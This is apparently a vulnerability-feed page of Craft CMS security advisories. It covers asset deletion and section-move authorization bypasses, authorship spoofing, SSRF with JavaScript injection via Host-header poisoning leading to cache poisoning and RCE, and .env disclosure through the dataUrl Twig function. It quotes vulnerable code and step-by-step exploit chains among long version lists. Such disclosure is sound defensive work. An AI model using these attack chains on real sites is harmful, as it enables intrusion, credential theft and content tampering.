            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50280 GHSA-43cq-c2gq-pfpw Jul 02, 2026

Craft CMS: Authorization bypass in `entries/move-to-section` via missing target-section save check

Medium

Network Low Low None

Summary

The EntriesController::actionMoveToSection() endpoint checks only whether the current user can view the destination section, but it does not require permission to save entries into that section. A low-privileged authenticated control-panel user who can move an entry out of its current section can therefore move that entry into a different section where they have read access but no write access.

Details

The vulnerable route is implemented in EntriesController.php:465:

The destination check is only viewEntries:$section->uid . The source-entry gate is Entry::canMove(), which verifies whether the user can move the existing entry based on the source section:

This closes the exploit chain:

External source: authenticated CP request to entries/move-to-section.
Missing authorization check: destination section requires only viewEntries, not saveEntries.
Privileged sink: moveEntryToSection() rewrites sectionId and saves the entry into the unauthorized section.

Preconditions derived from the code:

The attacker is authenticated to the control panel.
Entry 345 is movable by the attacker from its current section.
The attacker can satisfy viewEntries on destination section 12.
The attacker does not have saveEntries:DESTINATION_UID, which is the missing check that makes the bypass possible.

Result:

The controller accepts the request because viewEntries:$section->uid passes.
Each source entry passes canMove() based on source-section permissions.
moveEntryToSection() updates the entry’s sectionId and saves it.
The entry is now located in a section where the attacker did not have write permission.

Impact

This breaks the intended section-level authorization model. A user with limited content permissions can inject or relocate content into a protected section, interfering with editorial boundaries, approval workflows, section-specific business logic, and content ownership expectations.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50279 GHSA-qq2c-2q8j-jh27 Jul 02, 2026

Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap

High

Network Low Low None

Summary

EntriesController::actionSaveEntry() performs entry-edit permission checks before request-controlled author changes are applied to the model. The subsequent author mutation path accepts attacker-supplied authors / author parameters and allows the change when the current user is one of the old authors. Because the controller does not re-run authorization after mutating the author list, a low-privileged user can reassign an entry’s authorship to another user without holding the dedicated peer-author-change permission.

Details

The control flow begins in EntriesController.php:249. actionSaveEntry() loads the entry and enforces edit permissions before calling _populateEntryModel():

public function actionSaveEntry(bool $duplicate = false): ?Response
{
    ...
    $entry = $this->_editableEntry($this->request->getBodyParam('entryId'), $siteId);
    ...
    $this->enforceEditEntryPermissions($entry, $duplicate);
    ...
    $this->_populateEntryModel($entry);
    ...
    $success = Craft::$app->getElements()->saveElement($entry);
}

The attacker-controlled source is in EntriesController.php:588:

$entry->setAttributesFromRequest(array_filter([
    'authorIds' => $this->request->getBodyParam('authors') ??
        $this->request->getBodyParam('author') ??
        $entry->getAuthorId() ??
        static::currentUser()->id,
]));

Entry::setAttributesFromRequest() in Entry.php:1124 extracts the new author IDs and applies them if canChangeAuthor() returns true:

if (
    ($authorIds !== null || $authorId !== null) &&
    $this->canChangeAuthor()
) {
    $this->_oldAuthorIds = $oldAuthorIds;
    $this->setAuthorIds($authorIds);
}

canChangeAuthor() at Entry.php:2789 allows the author change when the current user can view peer entries and is already one of the existing authors:

return (
    empty($authorIds) ||
    in_array($user->id, $authorIds) ||
    $user->can("changeAuthorForPeerEntries:$section->uid")
);

After the author list is mutated, the controller does not re-check authorization.

This closes the exploit chain:

External source: authenticated request to entries/save-entry with attacker-controlled authors[].
Trust boundary failure: authorization is checked on the pre-mutation entry state, not on the post-mutation author assignment.
Privileged sink: the author relationship is rewritten in persistent storage.

Preconditions derived from the source:

The attacker is authenticated and can edit entry 345.
The attacker is among the existing authors of entry 345, or otherwise satisfies canChangeAuthor() through the old author set.
The attacker has viewPeerEntries for the section.
User ID 1 exists and can be assigned as an author in that section.

Result:

enforceEditEntryPermissions() succeeds on the original entry state.
_populateEntryModel() reads authors[]=1 from the request body.
setAttributesFromRequest() updates authorIds because canChangeAuthor() is evaluated against the old authorship state.
saveElement() persists the change and _saveAuthors() rewrites the entry-author relation.
Entry 345 now appears authored by user 1.

Impact

This allows low-privileged users to falsify content ownership and alter the authorship of entries without having the dedicated author-management permission. The impact includes corrupted audit trails, misleading notifications, broken approval workflows, and unauthorized reassignment of content responsibility.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 07, 2026

4.17.13 patch

6 CVEs

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


